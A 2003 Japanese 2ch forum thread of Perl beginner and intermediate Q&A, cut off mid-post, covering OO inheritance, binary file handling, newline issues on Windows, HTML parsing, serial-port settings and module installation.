($a,$b,$c) = $org =~ /\d/g;
There's more than one way to do it.か Perlの良いところと悪いところだネ
224 :
デフォルトの名無しさん :03/09/12 03:43
PerlでrawSocketを操りたいのですが、
どなたか方法をご存じの方がいましたら、教えて頂けませんでしょうか?
Googleで色々と検索してみましたが参考になりそうなものは、
http://www.cit.gu.edu.au/~anthony/info/perl/raw_socket_stuff 位しか見つけられませんでした。
参考になりそうなスクリプトが置いてあるサイトをご存じでしたらそれだけでも構いません。
Net::RawIPというモジュールも使えそうなのですが、使い方がよく分かりません。。。
差し迫って必要というわけではないのですが、
どなたかご存じの方がいましたらお願いします。
225 :
デフォルトの名無しさん :03/09/12 14:28
LWPモジュールの挙動に不満があったので、下位モジュールの Net::HTTPを使ってみたのですが、Timeoutの指定方法が分からず、 Proxy経由のHTTPなどでレスポンスが返ってこない場合、いつまでも 処理が止まったままになってしまいます。 対処方法などありますでしょうか?
Man Net::HTTP を SEE ALSO まで読む
227 :
デフォルトの名無しさん :03/09/12 15:26
Perlのオブジェクト指向プログラミングについてですが 親クラスのデータを子クラスが継承したい場合どうするのでしょうか? 子クラスのコンストラクタ内で親クラスのコンストラクタを呼び出して, 得られた親のハッシュと子独自のハッシュを結合し,そいつに bless する というのを思いつきますが,みなさんそうやってますか? その場合,多階層クラス構造になると子のコンストラクタがどんどん 大変になっていきますが,そういうもんでしょうか?
Perl で OO なんて面倒なことはしません。
PerlはLISPを意識して組むのがいいよ。 関数リファレンスとクロージャを使いまくり。 OOライクなコーディングはPerl6になってからかな。
#This example demonstrates how one might inherit instance variables from a #superclass for inclusion in the new class. This requires calling the #superclass's constructor and adding one's own instance variables to the new #object. package Bar; sub new { my $type = shift; my $self = {}; $self->{'buz'} = 42; bless $self, $type; } package Foo; #@ISA = qw( Bar ); sub new { my $type = shift; my $self = Bar->new; $self->{'biz'} = 11; bless $self, $type; } package main; $a = Foo->new; print "buz = ", $a->{'buz'}, "\n"; print "biz = ", $a->{'biz'}, "\n";
みなさんありがとうございました.ちょっと勘違いしてました. 子クラスは自分の1個上のスーパークラスのコンストラクタだけ 呼べばいいので,クラス階層が深くなっても複雑になることはありませんね クロージャーって何?と思ってラクダ本見ました. 自分はオブジェクト指向を勉強する以前に perl/Tkを使って 仕事で使うアプリを組んでいたので, あぁコールバックで使うやつのことか〜と理解しました (試行錯誤で挙動を勉強しました)
232 :
デフォルトの名無しさん :03/09/12 17:24
>>232 Contact Infoの入力ページに「Contact info is not required to download.」と書かれているだろ。
なにも入力しなければすんなり
>>234 のリンク先が表示される。
>>225 俺も今チラっと見ただけだけど、スーパークラスのメンバとして実装されてるみたいだよ。
perldoc IO::Socket::INETを見てくれ。
>>231 >>230 ではスーパークラスの名前をハードコーディングしているけれども、Javaと同じように
my $this = $type->SUPER::new();
ともできます。
activeperl を使ってるのですが .pl のファイルを実行したときに プロンプトの画面を表示しないように する方法ってありますか?
.plをC:\Perl\bin\wperl.exeに関連付けましょう。
>>242 ありがとうございました。
引数ばっか探してました。
244 :
デフォルトの名無しさん :03/09/14 11:23
windoes上で"0x0a"を書けません。どうしても"0x0d0a"に変換されてしまいます。 open(W,">out"); binmode(W); $a=pack("C",0x0a); syswrite(W,$a); "0x0a"をそのまま書くにはどうすればいいでしょうか?
>>244 open(FILE,">out");
binmode(FILE); # Cでも "wb" で開かないと駄目みたい。
print FILE "\x0a"; # (゚д゚)ウマー
>>245 返事ありがとうございます。自動変換役に立つけど応用が利かん。
#cygwinだからかなぁ。
2chのスレからレスを抽出する目的で #!/usr/bin/perl use strict; use LWP::Simple; use HTML::TokeParser; my $uri = shift; my $sure = get($uri); my $p = HTML::TokeParser->new($sure); while($p->get_tag("dd") ){ my $res = $p->get_text(); if($res =~ /[a-z]|\d{32}/){ print '-' x 10, qq{\n}; print $res, qq{\n}; } } print 'END'; てスクリプトを書いたんですが、引数を与えて実行すると Can't call method "get_tag" on an undefined value at E:\cmdtool\winny.pl line 11. と怒られます。どうやら$pがundefになってるのでオブジェクト生成に失敗してるようなんですが 原因分る方いらっしゃいますか? $sureにはちゃんと中身(HTML)が入ってることは確認してます・・・
>>248 ごめん、もう一段落下だ。
<q>
If the argument is a reference to a plain scalar,
then this scalar is taken to be the literal document to parse.
The value of this scalar should not be changed before
all tokens have been extracted.
</q>
どうもです・・・マニュアル読んでみたんですけどうまく英語読めてなかったみたいです^^; my $p = HTML::TokeParser->new(\$sure); として解決しました
winny.pl
パーサ使うほど分りずらいHTMLでもないんで以下で落ち着きました・・・w
#!/usr/bin/perl
use strict;
use LWP::Simple;
my $sure = get(shift());
my @res = ($sure =~ /<dd>(.+?)<dt>/g);
my @maybe_hash = grep {/([a-z]|\d){32}/} @res;
@maybe_hash = map {s/<br>/\n/g and s/\n+$// and $_} @maybe_hash;
$" = "\n". ('-' x 20). "\n";
print "@maybe_hash", "\n<end>";
>>251 ((((( ;゚Д゚)))))
「可変長データに挟まれた固定長データ」を持つバイナリファイル(複数)から 「固定長データ」だけを取出したいと思ってるんですがその様な事は可能ですか? 現在、人力でバイナリファイルからオフセットを調べ別ファイルに記述しておいて open (DAT,"$file") or die "open $file: $!"; ($a,$b,$offset) = split(/\t/, $_); foreach (<DAT>) { open (BIN,"$path") or die "open $path: $!"; binmode (BIN); seek (BIN,$offset,0); read (BIN,$tmp); . . . みたいな事をやってるんですけど、対象ファイルは数百に上り、まだ数十程度。 そろそろ面倒になってきたのでエロイ人おられましたら入れ知恵してくだしあ。 それとも逝ってヨシでございましょーか?
二行目を書き損ねたジャン(´Д`)
>>253 バイナリファイルにセパレータは入って無いんですか?
どこからどこまでって情報が外部からしか与えられないんじゃ今の方法しかないと思うけど・・・
>現在、人力でバイナリファイルからオフセットを調べ よく読んでなかった これも組み込めばいいじゃん 外部に書き出す必要なし
sendkeyでアクティブなアプリケーションにキーを送りたいのですが sendkey("-key a"); でキーは送れるのですが 直ぐにキーを離した状態になります キーを押したままにしたり、押したままのキーを解除する方法を教えてください
事故怪傑しましたm(_ _)m
>256 取出したいデータには終端らしきモノが確かに「ある」のですが値が微妙に違います。 ファイル A の終端 0E 02 00 00 00 00 2D 00 ファイル B の終端 5F 02 00 00 00 00 3B 00 ファイル C の終端 FF 01 00 00 00 00 28 00 ファイル D の終端 15 02 00 00 00 00 1F 00 この様な状況で目的のデータを取出すことができますか? もし可能なら文例を示して頂けると非常に助かります。 自力では一旦メモリに読み込んでunpack、index関数を使用して正規表現で 絞り込むか、split関数を使用して千切るくらいしか思いつきません。 嗚呼.... 試しに千切ってlengthを比較してみます....。
>259 どれが目的のデータか、他の人に伝えようとしている?
>>259 お前さんみたいなタイプは意識してないだろうが、
可変長データ、固定長データのそれぞれに仕様があるはずで、
普通の人はそれに従って作るのだよ
プログラム作るより、仕様の確定が先。
>>261 デスマーチの産物で、それぞれ個人仕様があったりしてな。
そして確定しようにもその部分の担当者がすでに現場にいなかったり。
>>259 曝け出しすぎると突っ込み恐いのでズバリな例題は... 以下略。
>>261 手厳しく的確なアドバイスをどうも。
先頭から目的のデータまでは要らないや。と思って先走り過ぎておりましたです。
言われてみれば至極当然の事でしたから、目を皿にしてバイナリデータを比較・考察
したところ2バイトのヘッダを発見、それを手がかりに可変長データの大きさを知る事が
できたのでseekとreadで目的のデータを的確に広う事ができるようになりました。
↓データ構造はこんな感じ。
32768バイトの固定長データ(ヘッダ無し)
可変長データ(2バイトヘッダ有り) → 1バイト目16進 * 2バイト目16進 = レコード数(1レコード6バイト)
16384バイトの固定長(目的のデータ)
以後、謎のデータが続く....
バイナリデータを扱うのは初めてなので産みの苦しみってヤツ(?)を味わえました。
タネが解れば難なく処理できるのに....。
遅レスだが
>>244 perlrunの環境変数PERLIOの個所を嫁。
ちなみに、以前漏れが調べた時はCygwinとActivePerlでは若干挙動が異なった。
>>264 Cygwinはマウントにモードがあるからね。
266 :
デフォルトの名無しさん :03/09/17 08:03
ファイルを保存する時に","で区切るにはどうすれば良いのでしょうか? 今まではpack処理して気にせずに処理していたのですが、どうしても ascii形式で保存しなければいけなくなりました。 my $dat = ($time, $a, $b); syswrite FILE, $data, $data_length; で保存しようとしても$timeしか保存されません。 コンマでセパレートする方法をどなたか教えてください。
267 :
デフォルトの名無しさん :03/09/17 08:54
スカラに配列入れようとすると先頭要素しか入らんよ。うあああ。 perldoc -f join と叩け。 読み出しにはsplitじゃ。 もしCSVに対応したいのだったら素直にライブラリつかえよー。
>先頭要素しか入らんよ -> 最後の要素です
要素数じゃないのか?
リストと配列変数は別物でふ
>>266 フィールドを,で区切りたいということですよね?そうなら
$a = 1;
$b = 2;
$c = 3;
my $dat = join ',', ($a, $b, $c);
print "***$dat***\n";
出力: ***1,2,3***
という感じで。
>>271 レスありがと。
その通りです。
ファイルに保存したかったのですが、
>>267 を読んでも分からなかったので
四苦八苦してました。
perlを始めて1週間で、あちこちのソースをコピーしまくりですが、
もうちょっと一人で頑張ってみます。
>>266 print FILE "$time,$a,$b\n";
>>273 何か即レスが(w
私がパクったソースがsyswriteを使っていたのでprintには頭が回りませんでした。
N88Basicとperlを比較してるサイトでprint文が使えることを知って成功した
からここに書こうとしたら回答が書かれてるし(w
ありがとうございました。また何かあったらよろしくお願いします。
printやwriteをsyswriteと混用することは、あなたがウィザード級の腕前の持ち主でない限りお勧めしない。 だそうです 私はwriteもsyswriteも使ったこと無いでふ(恥
writeはちょっと毛色が違うぞ。
>>275 えっ?printとsyswriteを混用すると何か不都合があるのですか???
今の所まともに動いていたから安心していたのですけど・・・
>>277 syswrite はバッファを使わない。
open(FH, "<hage");
print FH "hage";
syswrite(FH, "debu");
syswrite使ったことなく、どんな動きするのかも知らない。 必要なときありますか?
あります。
UDPソケットはsyswriteと組み合わせて使う。
282 :
デフォルトの名無しさん :03/09/19 18:05
system("$cmd"); 上のようにsystemで起動するプロセスのプロセスIDは取得できますか?
perl の print はCで言うところの fwrite (いわゆるstdio系) sysread,syswrite が read(2),write(2) 混ぜるな危険。
285 :
デフォルトの名無しさん :03/09/19 19:13
perl5.8.0でのshiftjisの扱いについて質問です。 リテラルの扱いがunicodeなので困っています。 $str=<<EOF; $A 表示 $B EOF とすると文字化けしてしまいます。 $str=<<'EOF'; $A 表示 $B EOF とすると文字化けはしませんが、変数が展開されません。 菜にか良い方法は無いでしょうか? やはり前のバージョン(jperl)を使うしかないのでしょうか。 宜しく御願い致します。
sjis なんか使わなければいいのに。
ところで皆さん、今までPerlで感動したコードってあります? もれは配列から重複した要素を取り除くってやつです my %count; @array = grep(!$count{$_}++, @array); これ 「Perlメモ」に載ってるやつです 自前のコードとベンチで比較したらウン十倍も速くてビビッタ・・・w だいいちハッシュに出現数をカウントさせるなんて思いもついませんですた・・・(;´Д`)
>>291 うわ…すげぇ。マジスゲェ。
…でも「感動するコード」ではない気がする。
seek関数がある で、 現在開いてるファイルの位置を取得するにはどうすればいい? *binmodeで開いたバイナリファイル
>293 tell
展開
変数にあるデータを展開する手軽な方法がなぜかありません。 (Google で探しても見つからない。)
## Taken from Namazu <
http://www.namazu.org/ >, filter/gzip.pl
my $s = $original_data; ## compressed data
my $flags = unpack('C', substr($s, 3, 1));
$s = substr($s, 10);
$s = substr($s, 2) if ($flags & 0x04);
$s =~ s/^[^\0]*\0// if ($flags & 0x08);
$s =~ s/^[^\0]*\0// if ($flags & 0x10);
$s = substr($s, 2) if ($flags & 0x02);
my $zl = Compress::Zlib::inflateInit
(-WindowBits => - Compress::Zlib::MAX_WBITS());
my ($inf, $stat) = $zl->inflate ($s);
if ($stat == Compress::Zlib::Z_OK()
|| $stat == Compress::Zlib::Z_STREAM_END()) {
return $inf;
} else {
die 'Bad compressed data';
}
これはWindowsで出来るのか?
*v5.6.1 Build 633 provided by ActiveState Corp.
http://www.ActiveState.com
>>295 >これはWindowsで出来るのか?
やってみれば?
ようするに Compress::Zlib が windows 上の perl で使えるか? って聞いてるんじゃないのか?
299 :
デフォルトの名無しさん :03/09/20 17:39
>>297 同意
>>298 そういう意味なら動く罠。
ただ、windowsでperl使うときはバイナリモードとテキストモードがあるとだけ言えば解る?
>>295
Perl1本で飯食っていける? やっぱCくらい出来た方がいいよなぁ・・・ つか今だにPerl主体の業務ってあるのかな?
301 :
デフォルトの名無しさん :03/09/21 20:31
C言語のscanf同等のことをする関数はありますか?
>>300 いまどき Perl 1 の本を書いても食えるわけありません。
>>303 ははは
面白いね
>>300 極めたらPerlだけでも、あと数年は食えるでしょ
でも、そこまで頑張るくらいなら、素直にほかの言語を覚えるほうが楽だろうな
Perlってsh,awk,Lisp,C,C++なんかのつまみ食いだから まともなプログラミングするにはそれらの言語についても 少しは知ってないと使えなくない?
>>305 俺はお前の上げた言語は奴は全部使ってるぞ。
まあshはbashやtcshの時もあるしLispもEmacsLispだが。
307 :
デフォルトの名無しさん :03/09/22 00:23
正規表現でパターンの中に/があると Quantifier follows nothing in regex; marked by <.... とかでてちゃんと動かないとおもいますが、これはどうやって解決できる でしょうか?
>>307 \でエスケープするとか(\/)、m//→m{}にするとか。
>>308 解決でキマスタ!
ありがとうございました
拡張モジュールを書くときはCだし、C/C++くらいは知っておくべきだと思うが。
311 :
デフォルトの名無しさん :03/09/22 11:31
今日からPerl勉強することになったんですが サンプルファイルを実行するとDOSプロンプト画面がすぐ消えてしまいます。 実行環境:Win2K Perl -v:5.6.1 ActivePerlからmsiパッケージをDL、インストールした状態です。 サンプルプログラムは単に print "Hello!!\n"; print "This is SampleProgram!!\n"; だけなんですけれども、実行すると画面はでるのですが、すぐ閉じてしまい 正しく実行できているのかわかりません。 > Perlの奥深さについて皆で語り合い 奥深さも何もありませんが、解決策お願いします。
PurePerlじゃないモジュールってroot要るんだよね? しかしPerlで完結させないのってPerlらしくないような気がしないでもない・・・
>>311 ひょっとしてダブルクリックで起動させてる?
コマンドラインから実行すればいいと思うが
>>313 …はい、コマンドラインでちゃんと見えました。
しくしく、解決しました、ありがとう。
すっごい恥ずかし。
>>312 適当なパスにインストールして
環境変数 PERL5LIB かスクリプト内で use lib
>>302 やはり標準の関数やモジュールでは無理なんですね。
プラットフォームがWindowsなのでWin32::Consoleを使ってみたんですが、
Inputメソッドの戻り値がundefしか返って来ないので困ってました。
とりあえずそれ使ってみます。ありがとうございました。
>>315 や、だから「インストール」にroot要るっしょ?
今、FTPを使わないでどこかの端末からサーバに画像を転送できる ソースを考えています。 どこかに探しているサンプルプログラムはないものでしょうか? グーグルで検索をしても見つかりませんでした。 どうかよろしくお願いします。
>>319 FTP使わない代わりに何使うの?
HTTPだったらアップローダのソース見ればいいんでは?
321 :
デフォルトの名無しさん :03/09/22 12:13
>>322 それって既にバイナリなpmがあるってことなのかな?
それとも単にPerlのみで書かれてるだけ?
ま、俺が言いたかったのはmake installしなきゃいけないのははroot要るよね
ってだけでした・・・
#Cで書いたりコンパイルが必要ってのが何となくPerlらしくないような感じがしたってことです
>>323 /usr/lib/perl や /usr/local/lib/perl じゃなくて、
自分のホームディレクトリ配下にインストールすりゃいいじゃん。
327 :
デフォルトの名無しさん :03/09/22 15:30
>>325 おれは、レンタルサーバやけど
/home/***/lib/
にバシバシインストールして
use lib '/home/***/lib/';して
何でも欲しいもん使ってる。
うにっくすを学んだ事ほとんどないけど、
rootなんかいらね。
makeしてtestしてinstallしてるよ。
「モジュールインストするにはroot権限がいる」
って刷り込まれてるんか?
現在win2kにActiveperlインスコして練習してます。 ファイルハンドルについて質問なんですが ファイルを読み込みオンリーで利用する場合 open関数を利用しますが、利用の仕方が open(ファイルハンドル名, ファイルパス) というのはわかりました。 cの直下にplという練習用フォルダを作って その中にlog.txtという名前で中身を適当に作って open(IN, "c:\pl\log.txt") としてみましたが、どうしてもc直下のlog.txtしか 読み込んでくれません。 これは、ファイルパスの表記が間違っているのか 単にwindowsのファイルパス表記じゃ無理なのでしょうか?
>>328 とりあえずファイルパスの\を/にしてみるとか
>>327 どっちかってとmake installにrootが要ると刷り込まれてますが
>>328 "c:\pl\log.txt" -> "c:\\pl\\log.txt"
>>329 だから、おれは!レンタルーサーバーだから、
もちろんrootなんかでログインできんわけで!
だけどコンパイル必要なモジュールだって、
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって
インストールして使ってるって
…
もう、いいか?難解も岩セル名
俺もレンタルサーバを使っているけれど、rootでログインできるよ。
>>333 あ、正確に言うと、
俺はレンタルサーバで、かつ共用サーバやから
root権限与えられてませんが、ユーザーアカウントで
ログインして、ユーザーエリアでコンパイルしてインストールして
つまり、make install して使ってますから、
root権限なけりゃmake installできない、というのは根も葉もない刷り込み
だよ、と言うことです。
さっきもCPAN.pmでふたつみっつインストールしたし、
root権限ないし。?(゚_。)?(。_゚)?
>>329 >>330 >>331 レスありがとうございます。
実行してみました。\→\\に変えたものと、\→/に変えたもの。
実行して笑ってました。
「"」で囲まれてるんだから文字列なのですね。
だから「\」自体をエスケープさせないといけないのか…。
あとこれはまた別質問なんですが、Perlの勉強によさげな
サイトとかありますか?今はKENTさんのサイトで勉強しています
帰りにポケットリファレンスは買おうと思っていますが…
>>335 えと、今日からPerlやってんだよね?
他言語の経験あるならやっぱ「ラクダ本」薦めますが・・・
俺が始めて買ったPerlの本もラクダです
ちなみに他言語の経験はjavaスクリプト少々、Cはhello worldのみでしたがw
言語も初めてならマジ初心者向けの1冊ケチらないで買った方がいいと思うが・・・
画像をサーバにコピーで やっぱりFTPを使わないアップローだは 300Mが限界でしょうか? リンクを貼ってくれたところはちょっと難しかったです。
339 :
デフォルトの名無しさん :03/09/22 18:32
hoge.pl piyo/{foo.pm,bar.pm} という階層で、hoge.plでuse piyo::fooしていてfoo.pmでuse barしているのですが、 piyo.plはfoo.pmと同じ階層のbar.pmではなくhoge.plと同じ階層のbar.pmを探すようです。 自分としてはfoo.pmの中でuse barしたらfoo.pmと同じ階層でbar.pmを探して欲しいのですが どうしたらいいですか? パッケージ名はpiyo::foo, piyo::barです。
リファレンス本は結構役に立つ。 最初に買ったのが技術評論社のポケットリファレンスだったけど、 今でも役立っている。 ただ検索した文字を強調する機能がないのが残念だな、本は。
342 :
デフォルトの名無しさん :03/09/23 00:04
343 :
デフォルトの名無しさん :03/09/23 01:00
モジュール周りはよくワカンネ
修行が足りんな・・・
>>339 @INCに./piyoをpushするとかどうかな?
SQLってプログラミングなんですね
↑広義ではプログラム言語かも。
349 :
デフォルトの名無しさん :03/09/23 15:43
バイナリファイルからreadで読み取ったオクテットを16進文字列で表示するには どうしたらいいですか?
>>349 $str = 'Perl';
print join ' ', unpack 'H2' x length($str), $str; # 50 65 72 6c
くだらないですが、16進表示のデータをバイナリと呼ぶのはなぜですかね?
よびません。
マジレスしたいが、ぐっと堪えてみるテスト。
>>341 311ではありませんが、いい本紹介してくださってサンクス。
さっそくamazon.comで注文してみます。
ずっとこのスレROMしててよかった。
355 :
デフォルトの名無しさん :03/09/23 18:53
定番本はテンプレ(
>>3 あたり)に入れといた方が良いかもしれないね
あとCPANとか一通りURLも
>>355 人を教えてほしいのか?
分りやすく説明できる人(がいるなら)教えて下さい。とするなら何を教えてほしいんだ?
>>358 もっと少なくてもいいかもね
経験上、初心者は情報が多ければどれも見ない事が多い
本は、ラマ、ラクダ、CookBook, EffectivePerlくらい?
>>359 >経験上、初心者は情報が多ければどれも見ない事が多い
確かにそうかもしれんが、俺はそういう奴らを初心者とは認めない。
俺の思う初心者ってのは、前向きな姿勢で情熱があって色んな知識を得ようとする人たち。
何かを与えられても何もやらないのは初心者ではなくただのものぐさ太郎。
363 :
デフォルトの名無しさん :03/09/23 23:16
フォームからPOSTで一括取得した文字列群に、以下のデコード処理
tr/+/ /;
s/%([0-9a-fA-F][0-9a-fA-F])/pack("C",hex($1))/eg;
を施した後って、決まって各々の文末の改行コードの後に半角スペースが入ってる状態になるんですが、
これは一体なんなのでしょうか。
仕方ないので、
s/\n+ /\n/g;
とかやってるんですが…
あと、文末の改行コードを除去するために
s/\n$//;
と書いてみたのですが、これでは動作せず、
s/\x0d?\x0a?$//; (
http://www.din.or.jp/~ohzaki/perl.htm#CRLF_Removeより )
とすると正常に動作したのですが、上の2つに(窓環境で)動作に差が生まれるものなのでしょうか?
\nは\x0d\x0aと等価ではなかったのですか…?
ActivePerl+httpdで実行しています。
初心者丸出しの質問で申し訳ありませんが、よろしくお願い致します。
外部ライブラリをC言語で書き、Perlスクリプトから呼び出したい のですが、参考になるWebサイトを教えてください。 (この場合、ライブラリという名前は不適切でしょうか? 外部モジュール? エクステンション?)
>>363 デコードも改行の置換もコードは間違って無いと思う
つか右辺だけ書かれても情報足りないよ^^;
恐らくそのコードに着く以前が何かやらかしてると思われ
367 :
デフォルトの名無しさん :03/09/24 14:19
コマンドライン引数は$ARGV[0], $ARGV[1],...で取得できますが、 自分自身の実行ファイル名を取得するにはどうすればいいので しょうか。Linuxの/bin/sh -> bashのようにsymbolic link/hard linkされていて、自分自身呼び出され方が何通りかある場合が あると思うのですが。例えば上の例なら/bin/shとして呼ばれた ら機能が少ないオプションで実行し、bashとして呼ばれたら 機能リッチなオプションで実行すると言うことをしたいのです。 そういうことやりたくなることありますよね?
調べたら分かりました。 特殊変数$0が自分自身のファイル名になるんですね。 $ perl foo.pl としても $ foo.pl としても$0にはfoo.plが入りました。 $ ln -s foo.pl bar.pl としてから $ bar.pl とすれば$0にはbar.plが入りました。まさしくやりたかった事です。
>>368 グッジョブ
「分かりました」だけじゃなく報告もしろよ > スレの上の方の誰か
サンプルコードに foreach (0 .. $#key) { } とあるのですが、"$#key"の"#"ってどういう意味があるのですか? しょぼい質問で恐縮ですが、よろしくお願いします。
>>371 早速のご回答有難うございます。
本当に助かりました。ホッ。
>>363 s/\r//g;
s/\n//g;
これではダメなのか?
374 :
デフォルトの名無しさん :03/09/25 01:52
以前(多分前スレで)、「Windowsでシリアル通信するには?」という 質問をさせていただいた者です。 その時に教えていただいたとおりWin32::SerialPortを使っているのですが、 どうしても分からないところがあり、再度質問させていただきます。
use Win32::SerialPort qw( :STAT 0.19 );# $ob=new Win32::SerialPort('COM1') || die($!); $ob->baudrate(600); $ob->parity("even"); $ob->databits(8); $ob->stopbits(1); $ob->handshake("none"); #処理 ・・・ $ob->close;
ソースはこのような感じなんですが、 $ob->baudrate(600); の部分でボーレート=600を設定しても値が変わらないのです。 (デフォルトは1200) @baud_opt=$ob->baudrate; として、@baud_optの中に帰ってきた値の中に設定したい ボーレート値=600がなければエラーになってしまいます。 (ある場合はエラーにならず値も変わらない) $ob->user_msg(ON); としてみると↓のようなエラーメッセージが出ました。 Could not set baudrate on COM1 at ***.pl line ***
環境はWindowsXP、Activeperl5.8.0です。 長々と書いてしまいましたがどなたか原因など分かる方 いらっしゃいましたらよろしくお願いします。
>>365 レスどうもです。
空白が余計についてしまう件ですが、どうやらあるテキストファイル(ログ)を
読み取り、それを修正用のフォームに表示させた時点で既についてしまっているようです。
原因が分からないんですが、空白除去すれば目的の動作が得られたので、良しとしました。
>>373 レスどうもです。
>s/\r//g;
>s/\n//g;
これでも大丈夫でした。
他言語の影響なのかもしれませんが、\n→0x0d 0x0aだと思いこんでおりました。
質問内容とは別に、改行がなぜか一個余計に表示されていた問題があったのですが、
\rが消しきれてなかったためなのかと勝手に理解したり…。
有り難うございました。>お二人方
>>376 MS-DOS Console窓でmode COM1としてデフォルトのボーレイトを
調べて次にmode COM1 BAUD=60としてボーレイトが600になるか
調べたら?
Win32::SerialPortはWin32::CommPortを下請けに使っていて
CommPortはさらにWin32::APIを使ってWindowsXPのkernel32の
中のserialport関係のAPIを操作してるに過ぎないんだよね。
kernel32がサポートしてないようなカードを刺して使っているようだと
>@baud_optの中に帰ってきた値の中に設定したいボーレート値=600がない
場合もありうる。もしくはシリアルポート関係のBIOSが正しくインストール
されてないかもね。
シリアルポートに関する話題はパソコン通信華やかなりし頃だったら
詳しい人はごろごろいたが今はね・・・・。俺がお節介できるのはこれぐらい。
後は自分で調べて解決しちくれ。
Windows/ActivePerl のFAQ集ってどこかにないのかな 多くないか? < 改行コード
>>381 ちゃんと同梱のドキュメント見るがよい<ActivePerl FAQ
どっかで邦訳もあったような気もするけど
>>379 mode COM1 BAUD=60
とやってみたら、ボーレートに600が設定されました。
なんかよく調べてみると、ボーレートだけでなくパリティ・データビット
・ストップビットなどの他の値も
>>375 では設定できないみたいです。
代わりにこのようにやるとOKなんですけどねぇ・・・
$hoge=`mode com3 baud=60 parity=e data=8 stop=1`;
昨日からWin32::SerialPortのpodと睨めっこしてるんですが、
英語苦手なのでいまいち理解できないです。
>>383 >$hoge=`mode com3 baud=60 parity=e data=8 stop=1`;
はcom1の間違いでした。
>>380 何のソフトか知らんが
改行を0d 0a ではなく0a 0d とやってるソフト(なのか?)もあったりする
改行=「0d 0a」と固定しないで単独で削除した方がいいようだ
windowsだと
print "\n" とやれば勝手に 0d 0a となる "\n\r"は必要ない
httpのリザルト終了が 0d 0a 0d 0aだと思ってたら 0d 0a 0aとやる鯖もあったりする罠
というかCRLF だから0d 0a
>>382 いや、俺じゃなくてな
この手の質問多くてうんざり気味
あぁ、そゆことね 改行文字は誰でも通る道って感じだしなぁ
390 :
デフォルトの名無しさん :03/09/25 19:17
さらしage
391 :
デフォルトの名無しさん :03/09/25 19:23
perlでcabochaを動かすには、どうしたらよいのですか? 教えて下さい。 お願いします...
Perlで複数行を一気にコメントアウトって出来ますか? それとも、一行ずつ#を使うのですか?
>>392 漏れはこんな風にしてるけど
sub commentout {
コメントアウトしたい文ここから
〜
コメントアウトしたい文ここまで
}
397 :
デフォルトの名無しさん :03/09/25 23:40
初めてPerl、CGIの勉強をしようと思うのですが、 皆様がこの本は良いと思ったのを、教えては 頂けないでしょうか。お願いします。
399 :
デフォルトの名無しさん :03/09/25 23:51
>>395 さん。ありがとうございます。
プロンプトで、cabochaは動きましたv
新たにわからないこと...
プロンプトで、cabochaから、perlに渡す
……ではなく、
cabochaで解析する動作を、
perlのプログラム自体に書いて
動かすことは出来ないのでしょうか?
宜しければ、教えて下さい。
>>397 「KENTと作ろう!Perl/CGI」がいいよ
ナントいってもKENTだから
403 :
デフォルトの名無しさん :03/09/26 09:06
1 #!/usr/bin/perl 2 3 if ($ARGV[0]=="da" or $ARGV[0]=="wa") { 4 }else{ 5 print "option error.\n"; 6 exit; 7 } 8 exit; このコードだとどんなオプションを設定してもoption error.がプリントされないんですけど。 daかwaを指定したときだけ真になるようにするにはどうしたらいいですか?
文字列の等号はeqでは?
405 :
デフォルトの名無しさん :03/09/26 09:13
できました。(ヤッタ どうもありがとうございます。
406 :
デフォルトの名無しさん :03/09/26 09:39
PerlTkのEntryで、日本語入力を行うとたまに凍るんですが 仕様ですか? Activeperl5.8系+PPMでのTk導入です。
perl復活。パピコ。
サブルーチンに対して、ourみたいな働きをするものはないでしょうか。 pachage main; our &hoge; package another; hoge(); で、main::hoge()が呼ばれるような奴です。
あー。pachage -> package
>>408 main パッケージにあるサブルーチンを別パッケージから
使うような設計自体がマズいと思うが。
pachage another; our &hoge; package main; hoge();
$hoge = \&another::hoge; $hoge->();
#--- Another.pm --- package Another; use base 'Exporter'; our @EXPORT_OK = ('hoge'); sub hoge { print 'hoge!' } 1; #--- script 1 --- use Another 'hoge'; hoge(); #--- script 2 --- use Another; *hoge = \&Another::hoge; hoge(); パッケージ名をハードコーディングするのは 避けた方がいいので前者を勧める。
>>412-413 地獄の沙汰もテクニック次第ですかね。
今までは
sub hoge { Another::hoge(@_) }
ってやってたんですが。
ModuleならExportがいいんでしょうが、Libraryとなると。
グロブは中々ヨサゲ。
リファレンスはまた別に面白い使い方が出来そうですね。
どうもありがとうございました。
415 :
デフォルトの名無しさん :03/09/27 20:14
>>415 下のLinksにあるirc2msnってのはなかなか面白い。
ローカルでirc鯖を立ててmsnとつなぐって代物。
イマイチ完成度が低かったり日本語使えなかったりと、
実用的でないんだが。
あれ日本語対応にしてみたら面白いなぁ、とか。
ちなみに私は昔メッセに来たメッセージを携帯にメールで送る
"留守伝言ボット"を作って見ました。
いいネタがあればなかなか面白いのが出来そうですね。
417 :
デフォルトの名無しさん :03/09/28 00:52
以下のようにバイナリデータを16進数の文字列に変換しているのですが、 何故か"\x0a"は置換してくれません。解決方法はありますでしょうか? $bin=~s/(.)/uc(unpack('H2',$1))/eg;
>>417 s/(.)/uc(unpack('H2',$1))/egs;
もしくは
s/([\w\W])/uc(unpack('H2',$1))/eg;
MSNメッセって純正クライアント以外弾くようになるんじゃなかった? #ちなみに純正でも4系はもう弾かれてますね・・・最新版常駐しやがるからウザイよ(;´д⊂
421 :
デフォルトの名無しさん :03/09/29 10:53
このような切り出しはどのようにすればいいのですか? aa.txt 内容 NO 名前 住所 電話 携帯 mail -------------------------------------------------- 112,山田華子,住所AA,電話番号11,携帯電話22,E-mail, 222,加藤士郎,住所BB,電話番号22,携帯電話22,E-mail, 332,青木太郎,住所CC,電話番号33,携帯電話22,E-mail, この内容ですが下記のようにすべて配列に入れました。 それをaF112〜332と名前:山田華子〜青木太郎の配列をつくりたいのですが splitで上手くいきません? 良い方法あれば教えて下さい。 open IN,"aa.txt"; while(<IN>){ $data = $_; chop $data; ($no,$team,$name,$address,$tel,$keitai,$mail) = split(/\,/,$data); push @all,$data; }
422 :
デフォルトの名無しさん :03/09/29 10:54
現状は下記のとおりです。 open IN,"aa.txt"; while(<IN>){ $data = $_; chop $data; ($no,$name,$address,$tel,$keitai,$mail) = split(/\,/,$data); push @all,$data; }
>それをaF112〜332と名前:山田華子〜青木太郎の配列をつくりたいのですが さっぱり意味がワカラン・・・
>>421 とりあえずハッシュ作って配列にリファレンスぶち込めばいいんでねーの?
$file = 'aa.txt';
@data_ref;
@key = qw(num name address tel keitai mail);
open(IN, $file) or die $!;
while(<IN>){
next unless /,/;
chomp;
